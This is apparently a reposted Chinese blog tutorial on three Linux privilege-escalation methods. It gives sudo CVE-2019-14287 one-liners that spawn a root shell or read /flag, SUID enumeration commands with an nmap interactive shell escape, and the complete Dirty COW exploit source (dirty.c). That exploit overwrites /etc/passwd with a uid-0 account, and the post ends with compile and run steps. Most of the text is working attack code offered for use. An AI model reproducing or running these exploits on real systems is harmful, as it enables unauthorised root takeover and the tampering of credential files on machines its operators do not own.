一、sudo提權(quán)（CVE-2019-14287）

#以root身份執(zhí)行命令： sudo -u#-1 id sudo -u#4294967259 cat /flag#以root身份登錄： sudo -u#-1 /bin/bash sudo -u#4294967259 /bin/bash

二、SUID提權(quán)

獲取root權(quán)限

find / -perm -u=s -type f 2>/dev/null nmap --interactive !sh

注：
（1）以下方法和find / -perm -u=s -type f 2>/dev/null異曲同工

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;

（2）如果要獲取普通權(quán)限的命令行，使用!bash
（3）使用-exec需要配合\

三、臟牛漏洞提權(quán)

利用條件：linux內(nèi)核版本大于等于2.6.22
poc：dirty.c

// // This exploit uses the pokemon exploit of the dirtycow vulnerability // as a base and automatically generates a new passwd line. // The user will be prompted for the new password when the binary is run. // The original /etc/passwd file is then backed up to /tmp/passwd.bak // and overwrites the root account with the generated line. // After running the exploit you should be able to login with the newly // created user. // // To use this exploit modify the user values according to your needs. // The default is "firefart". // // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c // // Compile with: // gcc -pthread dirty.c -o dirty -lcrypt // // Then run the newly create binary by either doing: // "./dirty" or "./dirty my-new-password" // // Afterwards, you can either "su firefart" or "ssh firefart@..." // // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! // mv /tmp/passwd.bak /etc/passwd // // Exploit adopted by Christian "FireFart" Mehlmauer // https://firefart.at //#include <fcntl.h> #include <pthread.h> #include <string.h> #include <stdio.h> #include <stdint.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <stdlib.h> #include <unistd.h> #include <crypt.h>const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart";int f; void *map; pid_t pid; pthread_t pth; struct stat st;struct Userinfo {char *username;char *hash;int user_id;int group_id;char *info;char *home_dir;char *shell; };char *generate_password_hash(char *plaintext_pw) {return crypt(plaintext_pw, salt); }char *generate_passwd_line(struct Userinfo u) {const char *format = "%s:%s:%d:%d:%s:%s:%s\n";int size = snprintf(NULL, 0, format, u.username, u.hash,u.user_id, u.group_id, u.info, u.home_dir, u.shell);char *ret = malloc(size + 1);sprintf(ret, format, u.username, u.hash, u.user_id,u.group_id, u.info, u.home_dir, u.shell);return ret; }void *madviseThread(void *arg) {int i, c = 0;for(i = 0; i < 200000000; i++) {c += madvise(map, 100, MADV_DONTNEED);}printf("madvise %d\n\n", c); }int copy_file(const char *from, const char *to) {// check if target file already existsif(access(to, F_OK) != -1) {printf("File %s already exists! Please delete it and run again\n",to);return -1;}char ch;FILE *source, *target;source = fopen(from, "r");if(source == NULL) {return -1;}target = fopen(to, "w");if(target == NULL) {fclose(source);return -1;}while((ch = fgetc(source)) != EOF) {fputc(ch, target);}printf("%s successfully backed up to %s\n",from, to);fclose(source);fclose(target);return 0; }int main(int argc, char *argv[]) {// backup fileint ret = copy_file(filename, backup_filename);if (ret != 0) {exit(ret);}struct Userinfo user;// set values, change as neededuser.username = "firefart";user.user_id = 0;user.group_id = 0;user.info = "pwned";user.home_dir = "/root";user.shell = "/bin/bash";char *plaintext_pw;if (argc >= 2) {plaintext_pw = argv[1];printf("Please enter the new password: %s\n", plaintext_pw);} else {plaintext_pw = getpass("Please enter the new password: ");}user.hash = generate_password_hash(plaintext_pw);char *complete_passwd_line = generate_passwd_line(user);printf("Complete line:\n%s\n", complete_passwd_line);f = open(filename, O_RDONLY);fstat(f, &st);map = mmap(NULL,st.st_size + sizeof(long),PROT_READ,MAP_PRIVATE,f,0);printf("mmap: %lx\n",(unsigned long)map);pid = fork();if(pid) {waitpid(pid, NULL, 0);int u, i, o, c = 0;int l=strlen(complete_passwd_line);for(i = 0; i < 10000/l; i++) {for(o = 0; o < l; o++) {for(u = 0; u < 10000; u++) {c += ptrace(PTRACE_POKETEXT,pid,map + o,*((long*)(complete_passwd_line + o)));}}}printf("ptrace %d\n",c);}else {pthread_create(&pth,NULL,madviseThread,NULL);ptrace(PTRACE_TRACEME);kill(getpid(), SIGSTOP);pthread_join(pth,NULL);}printf("Done! Check %s to see if the new user was created.\n", filename);printf("You can log in with the username '%s' and the password '%s'.\n\n",user.username, plaintext_pw);printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",backup_filename, filename);return 0; }

gcc -pthread dirty.c -o dirty -lcrypt
./dirty 密碼（這一步出結(jié)果可能有點(diǎn)慢，耐心等待一下）
su firefart

參考：
sudo提權(quán)：https://www.freebuf.com/vuls/217089.html
SUID提權(quán)：https://www.anquanke.com/post/id/86979
臟牛漏洞提權(quán)：https://github.com/FireFart/dirtycow/blob/master/dirty.c

創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來咯，堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)

總結(jié)

以上是生活随笔為你收集整理的Linux提权：常用三种方法的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。